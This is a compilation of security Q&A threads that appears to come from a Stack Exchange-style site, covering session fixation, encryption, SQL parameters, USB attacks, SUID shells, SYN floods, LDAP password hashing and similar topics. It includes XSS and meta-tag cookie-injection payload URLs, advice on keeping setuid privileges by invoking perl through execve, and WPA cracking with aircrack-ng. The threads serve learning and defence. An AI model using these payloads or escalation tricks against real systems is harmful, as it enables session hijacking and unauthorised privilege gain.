No, there isn't any foolproof way for securing your code client-side. This is essentially the same problem that DRM has tried and failed to solve. You can obfuscate your code, but that will only make it more difficult to reverse-engineer. With sufficient skill and effort, someone will eventually be able to crack it. And the crackers only have to win once - as soon as one person manages to bypass your client side checks, they can publish it on the internet and everybody else can profit from it (except you of course :).
The solution is simply to move (at least some critical parts of) your code server-side.


Exploiting a potential ASP.NET web app Session Fixation vulnerability I am pen-testing an ASP.NET application that is exhibiting Session Fixation behavior. The application is using cookie based sessions. Basically:

When you land on the page no Session cookie is created
After login ASP.NET_SessionId cookie is created
On logout and repeated login the cookie value remains the same (there is no cookie value regeneration)

I have been able to perform Session Fixation attack manually:

I have landed on the page
I manually created a ASP.NET_SessionId cookie with some value (for the attacker)
I opened a new browser session and set the exact same cookie (for the victim)
I logged in as victim in this new browser session
In the attacker’s browser session I was now able to browse the web site as the victim

I am now having problems exploiting this Session Fixation vulnerability in real conditions. I need to create or modify ASP.NET_SessionId cookie in some manner. From what I am able to tell, there is no XSS vulnerability on the web site which I could use.

I have been playing with two most notable attack variations but with no luck (a case where a victim would click on a link which would set a cookie on the web page):

JavaScript

https://www.example.com/<script>document.cookie='ASP.NET_SessionId=THISISAFIXATEDCOOKIE; expires=Thu, 18 Dec 2015 12:00:00 UTC; path=/; domain=example.com; path=/'</script>

HTML Injection

https://www.example.com/<meta http-equiv=Set-Cookie content="ASP.NET_SessionId=THISISAFIXATEDCOOKIE; expires=Thu, 18 Dec 2015 12:00:00 UTC; path=/; domain=example.com; path=/">

Whatever I tried I’ve either hit a default error page or the landing page with no created/modified cookie.

Am I missing something with these two attack vectors?

Is there any other method I could try in creating or modifying the victim’s ASP.NET_SessionId cookie besides using man-in-the-middle or man-in-the-browser (malware based) attacks?

It looks like you have copied the example attacks directly from the OWASP page on Session Fixation.

To clarify - these are intended to be examples specific to a system that has another vulnerability besides Session Fixation (XSS, HTML Injection, etc) - these are not attacks that are likely to work in any real world situation.

If you wanted to execute this attack there would be two steps:

Find a vulnerability that would allow you to set the authentication
cookie for another user.  Your best best would probably be XSS or
HTML injection.  To find this type of vulnerability you would
probably want to do a security assessment of the site where you
catalog all HTTP requests that can be made.  You would then
fuzz all inputs at the HTTP level in an automated fashion and
look for indications that a vulnerability exists.  For possible
vulnerabilities you would go in and manually test to see if anything
is really there.
If you find any vulnerabilities in the previous stage you could
then attempt a Session Fixation attack.

Hope this helps.


Securing my USB flash drive with Truecrypt and FreeOTFE I want to know if I encrypt my flash with Truecrypt "Encrypt a non-system partition/drive" option and then mount it and then make a container with FreeOTFE on the Truecrypt encrypted drive and then put my data on the FreeOTFE container to make it super secure.

Is this a secure way or does it make it more weaker opening some possible attacks because the data is encrypted with FreeOTFE then with Truecrypt?

Using more than one layer of encryption adds more complexity and very little security.

Modern encryption ciphers rarely suffer catastrophic failures but software implementations are not that perfect. Using multiple disk encryption tools may decrease your risk in case one of them will have a known flaw or backdoor that will make your stored data vulnerable. By the same line of reasoning, running multiple encryption tools increases the risk that one of those tools might have an active backdoor or exploit that would compromise your whole system including the data you want to protect. That backdoor might be placed by the author or by attackers breaking into the author's computer or the website that servers the tool. Even the act of downloading (multiple) encryption tools might put you on the list of suspicious citizens (in some countries) or interesting targets (you have something important to protect).

The overall confidentiality of your data depends on many factors, not just encryption. Focusing on doing one layer of encryption right provides most of the security encryption can provide. The effort of using multiple encryption levels can be directed to improving other factors such as physical security, computing environment security (OS, Browser, etc) and key security.

Reducing the complexity of your whole system and managing the overall risk is the right mentality.

And remember, encryption is both a blessing and a curse for security.


1024 Bit Client Certificate Authentication with 4068 Bit Server Certificate I need some help for an evaluation in matters of security of the following situation.

The Connection is established with these Certificates:

Client Certificate: 1024 RSA with md5RSA (CA 4096 RSA with md5RSA)
Server Certificate: 4096 RSA with sha256RSA (CA 2048 RSA with sha1RSA)

Allowed Cipher Suites are:

TLS_RSA_WITH_AES_256_CBC_SHA (0x35)
TLS_RSA_WITH_AES_128_CBC_SHA (0x2f)

I state that the Client Certificate needs to be upgraded to improve the size for security. I recommended 4096 RSA to be future-proof for the next few years.

The respond I got state that there is no security risk with this constellation, because of the strong client CA cert and the strong server certificate.
And that the 1024 RSA certificate is only used for authentication, not for encryption.

Are these valid arguments? Any why?

The main problem is less the 1024 bit RSA but the md5 signature used for the certificate. MD5 is known since lots of years to be heavily insecure and was actively used to clone certificates. But, if it is possible to clone the client certificate then it can no longer be used to securely authenticate the client.

Apart from that, "only used for authentication" is the wrong approach. If authentication is irrelevant then just skip it. But if it is important to properly authenticate the client then it should be done properly.


What are the SQL-injections issues of parameterized queries? I've written some code to generate an SQL query in ASP classic. I'm not sure if it's secure or not:

Set adoCon = Server.CreateObject("ADODB.Connection")
adoCon.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath(dbfile)
strSQL = "SELECT * FROM Table WHERE name_field LIKE ?"

Set cmd1 = Server.CreateObject("ADODB.Command")
cmd1.ActiveConnection = adoCon
cmd1.CommandText = strSQL
cmd1.CommandType = 1 'adCmdText
cmd1.Parameters(0) =  Request("odQuery") & "%"
Set rs = cmd1.Execute()

I then go on to display the results from rs.

Is this secure? (I know for instance I can put a percent sign at the start of odQuery and make the code return more records).

You are already using parametrized queries which protects you against injection of SQL parts, assuming you are always using parameters for untrusted data.

As you said that leaves the issue of wildcard characters in operators that support them. That is, if you are using "=" instead of LIKE, the problem will not arise. In most cases, in which LIKE is used intentionally, a search with user supplied data is desired. So adding more wildcards is likely not an issue.

Adding a wildcard at the front, however, may have a significant performance impact because prefix indices cannot be used efficiently. So if your dataset is huge, you may want to filter them. The standard wildcars are % and _, but some databases support additional characters such as *.


Are all USB-based attacks dependent on being able to inject keystrokes? From what I've seen, USB-based attacks such as RubberDucky need to be able to open a terminal and then execute commands from there, usually to download and then install malware or to open a reverse shell.

Is this how most, if not all USB-based infections operate? Would being able to detect and prevent keystroke injection ensure I would be safe from USB-based malware attacks?

If at all relevant to the question, key combinations used to send signals to the shell would be caught and detected alongside regular keystrokes.

edit: I am mostly concerned with USB-based attacks whose purpose is to infect a machine with malware and/or to open a backdoor through which manipulate the system.

In the case of a reverse shell being opened, will the attack/er still rely on executing commands, i.e., assuming that on the system in question, there was only one terminal open or available will I be able to see keystrokes if this attack were taking place?

In the case of data-exfiltration, would there be ways for the malware on the hardware to mount the partition/filesystem and then copying the files without being able to enter keystrokes?

There were also attacks based on the autoplay-feature (other source), although I think this is a bit outdated with newer OS like Windows 10. There are also USB-Killers which operate on a hardware-level and kill your machine through sending high current shocks.

Here's a list of other attacks that might fall in the same category, including but not limited to:

An attack that actually emulates a USB ethernet adapter, which then injects malicious DNS servers into DHCP communications, potentially changing the computer's default DNS servers to use these malicious ones; sites of interest (email, banking, ecommerce, etc) can then be mimicked remotely, and the victim redirected to the mimic sites via the malicious DNS server.
Attacks that use a small hidden partition on a mass storage device to boot and install a rootkit, while otherwise behaving like a normal mass storage device
Various attacks intended for data exfiltration on a secured device (generally only relevant to secure air-gapped computers that the attacker can get physical access to, such as a contractor with access to secure systems)


If I use a Python socket over localhost, are there security concerns I need to be aware of? I am implementing a simple socket in Python to pass data back and forth between two scripts running on the same machine (unfortunately, a socket is the only possible setup for my situation).

This data, in many cases, will be highly sensitive (i.e. personal credit card numbers).

Does passing the data between scripts in this way open me up to any security concerns?

Server side:

import socket

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('localhost', 8089))
serversocket.listen(5) # become a server socket, maximum 5 connections

while True:
    connection, address = serversocket.accept()
    buf = connection.recv(64)
    if len(buf) > 0:
        print buf
        break

Client side:

import socket

clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect(('localhost', 8089))
clientsocket.send('hello')

Code source.

This is completely insecure in local-machine multi-user scenarios. For example, suppose your system runs on a Windows box that is domain-joined and allows any member of the domain to log into the machine, or a Linux network that allows other people to SSH in (both configurations are common in corporate environments). Even without admin/root access, anybody who can run code on the machine can open their own socket listener on port 8089 if the "official" listener isn't running, or can send traffic to the official listener if the client isn't using up all the connection slots. Either of these scenarios opens the system up to compromise of the network traffic.

A local network attacker can also attempt to compromise the client or server, crashing them (which may then let them stand up their own in its place, even with just a crash) or possibly even gaining code execution as the service account (for example, if one part has a command injection vulnerability). This could potentially enable the attacker to not only steal the information the service is meant to handle, but also gain access to other restricted areas while masking who is actually accessing the system.

The correct approach here is to use a secure IPC mechanism, one that allows access controls and provides connection confidentiality. The two that are closest to loopback TCP sockets are Unix domain (local) sockets on *nix-based systems, and Windows named pipes on Windows-based systems. Many socket-based libraries and frameworks already support these - for example, Node's server module is perfectly happy to listen on a local socket or named pipe - so it might be an easier change than you're expecting. You could also switch to a SSL/TLS connection that supports mutual client-server auth, such as using a client certificate or a pre-shared key (and of course validating that the server certificate is one that only the legitimate server process has access to), but that's likely a more complicated change that is easier to get wrong, compared to using a communication channel that was designed from the start for security.


New trend? Recognizable and specific subject in Spam / malware mails It seems that a new trend has emerged in the past few weeks. While users are (meanwhile) aware that an unexpected mail with subject "Your invoice" or "Your delivery" is suspicious, it seems that nowadays such attempts more often (in fact, according to my observations: massively) use specific subject lines that match some mail conversations of the past (e.g., "Re: Suggested changes to sales contract Samplestreet" when contract negotiations about estate in Samplestreet really were a thing the attacked recipient was involved with). Of course, such a subject line gives the recipient a false sense of trust and may make them open malicious attachments.
Apparently, some machine was infected where the malware harvested subject-recipient pairs (and as of now, I doubt that it happened here).
Apart from telling my users in general to be even more cautious than usual, what are suitable measures against this form of attack? (To begin with: Does it have a specific name that helps me find information about it? While being more specific than phishing, this is still less specific than spear phishing, I guess)
Practically the only thing that comes to my mind is to inform all external parties involved (in the Samplestreet deal, say) that they may have been infected. And also warn involved internal users that they may receive more such attacks in this matter in their department.

This is not new over a few weeks. I have been dealing with these across dozens of orgs since October 2019. The account is compromised, and a reply is made to an existing email thread.
What is common to all of the ones I have seen is that they include a button (or link) that is supposed to allow the user to access encrypted content or "the rest" of the content. It's the button (or link) that's the threat and it is the code that allows for the compromise.
This button has a name: RGB Button
In one org I look after, I had done a wave of special awareness campaigns and special messages on RGB. But the CFO in one org clicked the button and their account was compromised. When I sat down with him to hear his story, he said that he had been corresponding with a supplier, who told him that they would send documents shortly. 20 minutes later, the RGB Button email came through. Without any need for suspicion, and since many vendors use special file hosting services, he clicked the button. It was perfectly reasonable for him to do so in that context.
The subject line is just a factor to reduce the target's resistance. The threat is in the email body or the attachment, and that's not new. So don't focus on the subject line, focus on the threat and focus on supporting your users when it's perfectly reasonable for them to interact with a phishing email.


Preventing DoS in Ajax Calls We have Ajax call to validate the UserID on create page so that user there only can know if their chosen ID is available or not.

We have this URL exposed : https://mydomain.com/validateId?id=<user enter value>

Lately some hackers are sending large amount of concurrent requests to this URL and we are observing very high load on CPU's even to 100%

We don’t have any session identifiers available in the action for that Ajax calls. What technique can we use to prevent so many direct concurrent calls?
Any way to identify if the users are firing these Ajax calls from the create pages and not directly using some malicious tools?

It looks like you're being targeted by a determined attacker, so you should immediately start by implementing rate-limiting measures. I highly recommend using fail2ban or similar solutions.

Look through your database and logs to find the average number of sign-up attempts from the same IP address, then double that and use it as the limit in fail2ban's configurations.

As for identifying the source of the requests, I'm not aware of any method that can reliably identify whence the request is coming. The attacker is always able to fake any request headers coming from the client (such as HTTP_X_REQUESTED_WITH or HTTP_REFERER), so don't rely on that.


Add new vulnerabilty module on honeypot dionaea I want to install dionaea but i am not sure about it's capability to collect modern malware. I see that it use old vulnerabilities modules.
My questions are:

1) It is possible to add new vulnerability modules?
2) What are the steps to add a vulnerability. (From the begin, inclusiv from where to get vulnerabilties)

Instead of implementing a vulnerability dionaea implements the protocol and uses libemu to detect and emulate the shellcode.


SUID not used after exploit I know the following

  When you execute a program that has the SUID bit enabled, you inherit the permissions of that program's owner.

I am currently user1,  but want to read the pass of user2

I verify the SUID bit with ls -l file

user1@ssh/path$ ls -l file
-r-sr-x--- 1 user2 user1 5164 Nov  9 15:08 file

I do my exploit => ./file arg=exploit. And get presented with a shell
To verify if it works I do an whoami.

$ whoami
user1

I am still the same user?! , and I don't know how this can be.

If more information is needed, let me know.

Your understanding of setuid is correct. When you execute a program that has the suid bit, the process inherits the permissions of that program's owner. The piece of knowledge that you're missing is what the shell does after it's been invoked. Many popular implementations of sh drop privileges when they start up: they reset their effective UID to their real UID. This includes bash, dash, mksh and BusyBox sh, so on Linux you won't see anything else.

When the program runs a shell (e.g. by calling the system function from the standard C library, or an equivalent in another language), the shell starts with elevated privileges but drops to ordinary privileges before it executes any user code. This mitigates exploits in setuid programs where the attacker only gets to run a shell command which wasn't intended to run with elevated privileges (e.g. because the shell command was buried in library code that the application programmer wasn't aware of).

This doesn't mitigate exploits where the attacker gets to run arbitrary code. It's just that to get a shell, you have to work a bit harder than calling system. Arrange to call some different interpreter, e.g. run execve("/usr/bin/perl", "/usr/bin/perl") (fork first if you don't want to terminate the parent program).


Why does an RSA key (256 bits) have more than 256 bits of ascii characters? As an example, I generated a 256 bit key pair.  The private key (when saved to a file by puttygen) is:
AAAAIGZcM73lV3Uk/psErZAYA0F+4xK78FtFoVi2fdypv92tAAAAEQDdOhyFJ6iV
FSKDgjpj8+bRAAAAEQC2nAZD6DurGlj+DlPuB7tNAAAAEQCbHQFLFNR/URs4eu0o
ZfPE

This is 132 ascii characters.  Assuming only 6 bits per character (if the character set used is only 64 characters, that would make 132*6 = 792 bits, which is way more than the 256 bits that are supposed to be in the key.

So why the extra characters? Thanks.

The PuTTY format for an RSA SSH2 private key blob is dlen||d||plen||p||qlen||q||ulen||iqmp. The values dlen, plen, qlen, and ulen are the length in bytes of d, p, q, and iqmp, respectively; the length is expressed as an int, so each of the four length markers itself takes up 4 bytes. The four key elements stored are respectively the decryption key d, the prime factors p and q, and the value of q^(-1) mod p -- the last 3 aren't technically needed, but they significantly speed up RSA operations.

In your key, d is 256 bits (32 bytes), p and q are each 17 bytes, and iqmp is also 17 bytes. The 17 byte lengths of p, q, and iqmp are artifacts of the somewhat odd rounding method used; to compute bitlen(p)/8 rounded up to the nearest byte, the PuTTY source computes (bitlen(p)+8)/8. If p is exactly 128 bits long, then (128+8)/8=17 is the value of plen, even though p fits just fine into 16 bytes. Likewise for q and iqmp - the values are all actually 128 bits exactly, but the odd rounding turns them into 17-byte values. There's no security consequence either way, as far as I know; it would have made more sense to add 7 bits and integer divide by 8, but they made it the way they made it, and can't change it now.

Anyway, that's the components of the blob: 4 bytes for dlen, 32 for d, 4 for plen, 17 for p, 4 for qlen, 17 for q, 4 for ulen, 17 for iqmp. Add them up, you get 99 bytes, or 792 bits. For convenience, this is then encoded with Base64, which uses a subset of 64 characters that are particularly "safe" -- "safe" here meaning that they can be processed using systems designed to process text (notably email) without any major issues -- no trouble with special characters, no trouble with programs that only support ASCII characters and don't preserve the 8th bit of the byte, etc. That's how the message goes from 792 bits to 132 characters.


What attacks are httpOnly cookies intended to prevent? I know that HttpOnly attribute restricts the cookie from being accessed by JavaScript etc. Is there any specific attacks regarding this issue? Can cookie theft and hijacking be counted as attacks towards this issue?

The httpOnly flag prevents javascript from accessing the values of cookies.  It's intended to reduce the impact of cross-site scripting attacks, by preventing access to sensitive data, such as the session token.  Relevant attacks would be the cookie theft, and session hijacking attacks which rely on values from the cookie.


Software Testing vs (Web) Penetration Testing I would like to ask about the differences between Software Testing and Web Application Penetration Testing.

I am aware of usage different tools in both disciplines Software Testing (JIRA/Selenium) and Web App Pentesting (BurpSuite, SQLMap, etc.).

Also I would like to know if these two disciplines cross over and a Software Tester can become a good Web App Pentester and vice versa?

Many thanks.

I'll put a slight different spin on the second part of your question concerning discipline cross-over, since I have experience doing these in my career.

A good Penetration Tester has a hacker mindset.  They work to defeat what security protections have been put in-place, by whatever creative means available to them and their knowledge set.  A good PenTester does NOT think like an end-user, but rather thinks in a way to get around rules, restrictions, and blockages.  They don't test whether what security protections that were put into place are working properly; they are seeking where the design of the IT system failed to address and mitigate a vulnerability.

A Software Tester generally focuses on testing that the software performs properly according to the requirements.  Its mostly grunt work, hopefully using tools to automate that testing.  Since the perfect software testing somehow tests EVERY line of code, its alot of grunt work to create more and more test procedures to cover all the lines of code.  Note that for the most part, traditional software testing does NOT perform a lot of "negative"/ "failure" test cases, it makes sure that when end-users use the software CORRECTLY that the software also performs CORRECTLY.  One usually finds few if any tests of when the end-user uses the software INCORRECTLY, and how the software handles that.

You will find there is also a specialty as a System Security Tester or Software Security Tester.  That person usually has a mindset and a knowledge-base that sits between the extremes of the conformance-focused Software Tester and the break-it focus of the Penetration Tester.  Usually a system/software security test will validate that CORRECT use of the security features will allow the Authorized end-user to interact with the software as-planned.  And will usually test a set of pre-defined and well-known INCORRECT uses of the security features, which should results in logs and blocks of the incorrect usage.

So to summarize:

a Software Tester and a System/Software Security Tester generally have a fair amount of cross-over, as they usually know the full details of the system/software, they know how its supposed to properly behave when properly used, and they can test for a lot of common end-user misbehaviors.
However a good Penetration Tester truly thinks differently than the other two ... they don't care about the proper behaviors of the system/software ... they are crafty, looking for that one small chink of vulnerability that was not mitigated.


Is Apache (macOS pre-installed) a security risk when launched on a public network? To develop my website I have the pre-installed Apache set up on my Mac and didn't realize until today that the website on my Mac is actually accessible by other devices in the network, too. This is incredibly helpful for me as it makes it easier to develop for mobile devices.

On the other hand, this means, that every time I am connected to a public network (which is the case during about 6 hours per day for me), someone could access the page that I am hosting. Nothing wrong with that so far as all the information is publicly available anyway but could someone actually enter my computer from there? I SUPPOSE the hacker can't just remotely put a file on my disk and run it but would my machine now be vulnerable to threats like SQL injections or similar? Are there other attacks, one could try to get into my computer?

And what are possible security measures for this? My computer is password-protected, I didn't host my website on / (typing my IP address in a browser field only returns the "It works!" as I have my website in a directory a bit deeper than that) and I will now keep apache deactivate most of the time.

You are correct to think that running apache on a public network could create security issues. Bearing in mind, if for whatever reason you are hosting webscripts that are vulnerable to attacks like SQL injection and similar, they could leave your system open to exploitation.

By default apache would be bound to 0.0.0.0 which is to say all available interfaces. Configure apache to bind to local host (or 127.0.0.1) - this way the web server will be available only from on the computer itself, and not from outside.

If you are going to insist on leaving it bound to to all network interfaces then best practice would be exactly the same as for an actual website. Use the most up to date security practices, don't run dodgy code, and make sure that information is encrypted if possible/necessary.

The possible attack vectors in this scenario rely a lot upon the code that are you are running.


I anonymously submitted a security vulnerability, but it was not resolved. What now? This is more or less a continuation of my previous question: As a student, how do I safely and responsibly disclose a serious security issue in a school environment?

More than four months on after I sent my anonymous letter outlining this security issue, I checked carefully if the vulnerability I reported still existed, and it still does in its entirety. A few unrelated IT changes were made, but these have been mainly directed toward staff (such as introducing BitLocker).

Between the time that I reported it and now, I heard from a close friend (who came from a different school in the same district as me) who had reported a different security issue and who had tried to report it to his computer science teacher, who in turn reported it to the IT department. Rather than respecting the student's anonymity, however, the IT head threatened the teacher with his job (it's not known how he would carry out this threat) if he did not divulge the identity of the student who found the security exploit, and was also threatening the student with disciplinary action or arrest. Regardless of the accuracy of the story, I felt that I did the right thing reporting this via an anonymously and independently written letter.

However, the problem has not been fixed at all. The letter was sent to two different departments in order to ensure that the problem was heard loud and clear and that a plan would be made to resolve it. But none of this happened. In fact, it was as if one person read the letter and convinced the other to throw it away.

The exploit remains dangerous, and at this point I am almost certain that I am not the only one who know about it.

I could send another anonymous letter, further explaining the implications of leaving this exploit in the open. But it would be difficult to do anything else as it would be threatening them to take action "or else." I would turn into a gray(er) hat.

I cannot stress enough the importance of resolving this security issue before something big happens. But I cannot threaten them into doing anything, for that would imply my willingness to do wrongdoing. What are my options?

This entirely depends on wether or not you violated any law or school rules when you stumbled onto the problem.
If you found it without violating rules
If you didn't violate any rules (e.g. this is a simple enumaration problem with a web app and you just put in yourID+1 and got another students data) there should be no problem with disclosing this non-anonymously.
Please keep in mind that especially schools do get a lot of anonymous threats that are mostly - and correctly - not taken seriously.
Thus, your disclosure might have better credibility with your name on it - and since you didn't break any rules, there shouldn't be a problem.
If this still doesn't work, read further and ignore the remarks about anonymity.
If you are unsure wether you broke any rules
If there is doubt wether this might lead to legal trouble for you, there are some options, I'd advocate for a responsible disclosure.
After allowing a grace period (that should be included in the report to make sure the consequences of not fixing this are clear to all parties), you can proceed with publicly disclosing the issue.
There are several means to do so; there are websites that accept vulnerability reports and publish them anonymously. But in your case, as this is a rather localized vulnerability, you might be better off to approach the press.
With global information security being in the media regularly, you'll find at least one local newspaper that would be happy to publish the general problem and put some shame on the people that previously didn't respond at all.
Public shaming is a - rather cruel, mideval but - effective way to convince people to take an action they may previously wouldn't have.
In most jurisdictions, the press has special rules allowing them to guarantee the anonymity of the information source.


TCP syn attack prevention I am new to implementing information security. However i am trying to harden a windows server.I am using regedit to create parameters like SynAttackProtect,TcpMaxHalfOpen and TcpMaxHalfOpenRetried and set values to them. But i am not sure if this is a good way to do it. As in i browsed to this location  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters and manually adding these parameters. Kindly suggest if this is okay

Completely preventing TCP SYN flood attacks is impossible; the best you can do is to mitigate them.  Those registry settings are a valid option and may help you if you are under a weak or mild SYN flood attack.  They work by simply limiting the duration and amount of half open connections when undergoing the symptoms of a SYN flood.  In other words it makes the server less patient in waiting for the client to complete the three-way handshake (i.e. completing the connection).

Here are a few other common defenses to help mitigate SYN flood attacks:

Increasing the server(s) resources (e.g. adding more memory, or more servers for load balancing)
If filtering IP addresses is an option, this would be the most effective approach.  For example, if you know your website will only be used by a certain IP address range (or geographical location) you could filter the IP addresses that are allowed to connect.  A white-list of IP addresses of known legitimate clients could also be used to give higher priority to those connections.
You could also check out SYN Cookies which is a creative mitigation method that could help as well.

For additional reading on these SYN flood mitigation methods, I suggest reading section 3 of RFC 4987

Hope this helps!


Share network with neighbor My neighbor asked me if I wanted to share his network with me. Internet access is a little more expensive here than I am used to in my country. Before saying yes I wanted to know if I had risks in sharing my internet with him. He keeps the box and I will only have the wi-fi, which is enough for me, but about the security I don't want him to look at my bank passwords or something like that. I don't know if it's more risky than public wi-fi, but if someone can give me an idea or maybe advice.

You are certainly adding risk though whether that is enough to worry about may be difficult to calculate.

Is it against the terms and conditions of use of the ISP? You both could get cut off. Low to medium risk, relatively low impact.
Will someone in their household do something illegal that you might end up on the hook for - because you cannot prove you were not complicit. Illegal file sharing, child pornography or something else. Medium risk, terrible impact.
You will be relying on their router being secure - it may well be now but will it always be? Medium risk but potentially high impact.
You will be using a wireless connection between houses, will anyone else create a rogue Wi-Fi hotspot that will intercept your connection? An unlikely issue generally but quite high impact.

I would estimate that the risks of all of that are far lower than public Wi-Fi but they are certainly nowhere near zero.

UPDATE: You could help mitigate some of these risks fairly readily. You could have a written and signed agreement for example. You could make sure your neighbours router created a VLAN and you could give them your own Wi-Fi access point so that your traffic was segmented from theirs.


How to globally enable ld.so secure-execution mode for all applications? Quote https://manpages.debian.org/buster/manpages/ld.so.8.en.html#Secure-execution_mode

Secure-execution mode
For security reasons, the effects of some environment variables are voided or modified if the dynamic linker determines that the binary should be run in secure-execution mode. (For details, see the discussion of individual environment variables below.) A binary is executed in secure-execution mode if the AT_SECURE entry in the auxiliary vector (see getauxval(3)) has a nonzero value. This entry may have a nonzero value for various reasons, including:

The process's real and effective user IDs differ, or the real and effective group IDs differ. This typically occurs as a result of executing a set-user-ID or set-group-ID program.
A process with a non-root user ID executed a binary that conferred capabilities to the process.
A nonzero value may have been set by a Linux Security Module.

How could secure-execution mode be globally enabled lets say for all applications started from a limited linux user account user?

There is no standard way to do this. You can write/use an LSM which sets bprm->secureexec = 1 for all processes under the user you want, or you can patch the dynamic linker in a way like this:
--- a/elf/dl-support.c
+++ b/elf/dl-support.c
@@ -316,7 +316,7 @@ _dl_aux_init (ElfW(auxv_t) *av)
       }
   if (seen == 0xf)
     {
-      __libc_enable_secure = uid != 0 || gid != 0;
+      __libc_enable_secure = uid != 0 || gid != 0 || !!getenv ("LD_SECURE");
       __libc_enable_secure_decided = 1;
     }
 }

This patch adds support for a new environmental variable, LD_SECURE, which if set, causes the linker to act as if AT_SECURE was set in its auxiliary vector. I haven't tested this patch since it's so trivial, but it should do what you want. You will need to set that environmental variable for any user you want in to run in secure-execution mode. Note that this is very likely to break a lot of applications.
I do have to question the utility of doing this, though. Secure execution mode is designed to protect a process executing another process across a privilege boundary. It is not a generic security feature. You should consider your threat model and try to find out exactly what you are protecting against.


Youtube & Google Services that ID you based on stuff on your computer - what is the risk? If I'm on a VPN and accessing sites like Youtube or other's using Google services, am I still at risk for being located geographically via scripts in content I am viewing? Like I think some scripts can read what wifi networks my computer is seeing (other networks) and those networks are not using any security so they can be geographically located and show that my VPN IP is phony and I'm really close to "Billy's Bakery Wifi" and "TMobile Starbucks Springfield,NJ" or somewhere. I assume something like noscript can block some of this but can some of these scripts embed within other scripts that may seem less harmful? I guess VPN can only encrypt your traffic, not truly block a dedicated attack from knowing where you are roughly.

There is no way Javascript code could have access to information related to the WiFi networks in range. This may be possible using a Java applet or ActiveX, but I don't think it is very likely, as the user should permit the applet to run.

There is though another problem you should consider: DNS leak.

Explained here:
http://www.dnsleaktest.com/what-is-a-dns-leak.html

Also discussed here:
What is a DNS leak?


Decrypting multi-user secrets in multi-tenant web application Currently I am developing a web application that implements a message archiving service. Required is that messages are not readable by the developer / sysadmins, and a nice-to-have would be transmitting the messages end-to-end encrypted. The messages should be readable by all people in a 'business'. Messages that should be archived come in from external sources such as api's or email. These external incoming messages should be considered classified. users should be able to log in from any browser.

In my current test implementation upon creating a 'business' an RSA Keypair will be generated. The public key will be saved in the database associated to the 'business', and the private key will be encrypted using a hash derived from the users password, and stored associated to the user. When other users are added to the business, the decrypted private key of the logged in user will be encrypted using the new users password-derived hash and stored with the new user.

Incoming messages will be encrypted by the business its public key.

When querying messages these will be decrypted by the users private key (the private key will be the same for all users in the business, except they're encrypted with a different password-derived hash). So when a user logs in the password will be used to get the derived hash, decrypt the public key and store it in a server side session. From then messages can be decrypted and served.

The only problem is: by reading the session files, sysadmins are still able to decrypt messages of logged in users. Is there any protocol to solve this?

I have been thinking of client side decryption aswell (by sending the users encrypted private key to the browser, deriving the key from the password in the client side, decrypting the private key using that, and saving the decrypted privatekey temporary in localstorage and decrypt messages from the api using that decrypted private key on the client side, but is storing a decrypted private key in the browser secure?

The only problem is: by reading the session files, sysadmins are still able to decrypt messages of logged in users. Is there any protocol to solve this?

You are asking for the impossible - for a system that would provide users with decryption and encryption services while not maintaining any knowledge about how it does it, at any time (otherwise sysadmins will be able to decrypt messages, too!).

You have to decide who you trust and to what degree, because you need to trust someone - in the end it's hardware that runs your code, not you yourself.


Aircrack-ng "successfuly" cracks a .cap file, but it outputs the wrong password This is my first post and I hope this is in the right section.

I've been toying with attempting to crack my wpa password with aircrack-ng and airodump. I've successfully grabbed the 4-way handshake and run the .cap file through aircrack-ng. I know that my password is in the list, but for some reason when it "successfully" cracks the password it says the password is "1234567890", which is not correct.

I've seen a couple of posts floating around, but none of really addressed it. Any idea what might be happening?

looks like you've cracked the default WPS pin and not the WPA2 password.
however, that pin can be used to get the WPA2 password, so you're almost there.

The strange thing is that I wasn't aware aircrack-ng targeted WPS, so maybe your .cap file captured someone elses handshake? some funny business is definitely happening. Some more information about your setup would be handy.

Perhaps start the attack again, get a fresh handshake, and confirm the router password is applied properly, some routers require a restart to properly make changes.


Hashing passwords in OpenLDAP I've seen a few posts on the internet saying most people store user passwords in OpenLDAP using one of OpenLDAP's many, built-in hashing functions. But OpenLDAP itself recommends handing off password hashing and decryption to a separate service

Furthermore, RFC 4519 Section 2.41 states that passwords stored in an LDAP system should not be hashed, but rather stored in clear text.

Cringe.

The OpenLDAP docs suggest handing password hashing off to another service, specifically the Cyrus SASL library.

I'm seeing a lot of older hashing algorithms listed in both packages' docs as well. Stuff like SHA-1 and MD5.

In 2015, are there any common practices for hashing passwords managed through LDAP? Which hashing algorithms are commonly used these days? Is it very common practice to hand hashing off to a hashing service? If so, which packages are common on Red Hat Systems? Where do they store hashes?

It is about how you interpret what they are writing. They are not saying you should not hash and should store passwords in plain text. What it is saying is that the value you write into LDAP is not hashed or encrypted. This is like the situation you have with a normal database. You can define a column called password and you can either tell the database to encrypt that column or not. You can then stick data in that column, which may be encrypted/hashed or plain text. If you define the column as being encrypted, then data is encrypted as it is written to the column and will be decrypted when it is read from it. If you are storing hashes of a password, that hash will also be encrypted and will require decrypting before it can be used. In general, database encryption is about protecting data exported in data dumps etc. It is a bit like disk encryption in that once you have access to the database tables, the encryption/decryption is done behind the scenes and you don't see it. However, if someone manages to access a dump of the data or gets access to the table datafile on disk, they won't be able to read the information.

Note the definition of password attributes as being stored in an octet string syntax. This format is defined to support the full range of characters you will encounter in hashed passwords. What the best practice is saying is that LDAP stores the value you give it 'as is' without any further encryption or hashing. It is the duty of the software which manages this data to do whatever hashing you want

The 'L' is LDAP stands for lightweight. An LDAP server typically sees lots of reads with far fewer writes. It is designed to handle lots of queries and tries to ensure good performance by keeping it simple. Adding encryption creates additional unnecessary overhead. If the password attribute was encrypted, then all queries would need to decrypt that information, degrading performance.

LDAP also keeps things simple by not providing a management interface. It is essentially a defined tree of attributes and values whose primary role is to answer queries. To further re-inforce this, you will often find that in high-demand environments, you will have a master LDAP server where all the writes/updates are sent and slave/replicaiton servers where all the queries are sent. When you write to the master, if will forward on the changes to the slaves.

Management of the data is usually performed by some other program. For example, at our site, we have a perl program which receives data from our IAM system. It then takes this data, applies some business rules and writes the results to the LDAP master. The perl program performs the hashes of the passwords (we actualy need to support multiple hash types for each password because not every application understands the same hashing algorithm. This hashing also adds a salt.

When a client queries the LDAP server, it will just get whatever is stored in the attribute. With passwords, the data stored includes details of what type of hash has been used. Of course, for binds to work, the LDAP server must understand at least one of the hashes being used in order to perform the bind.

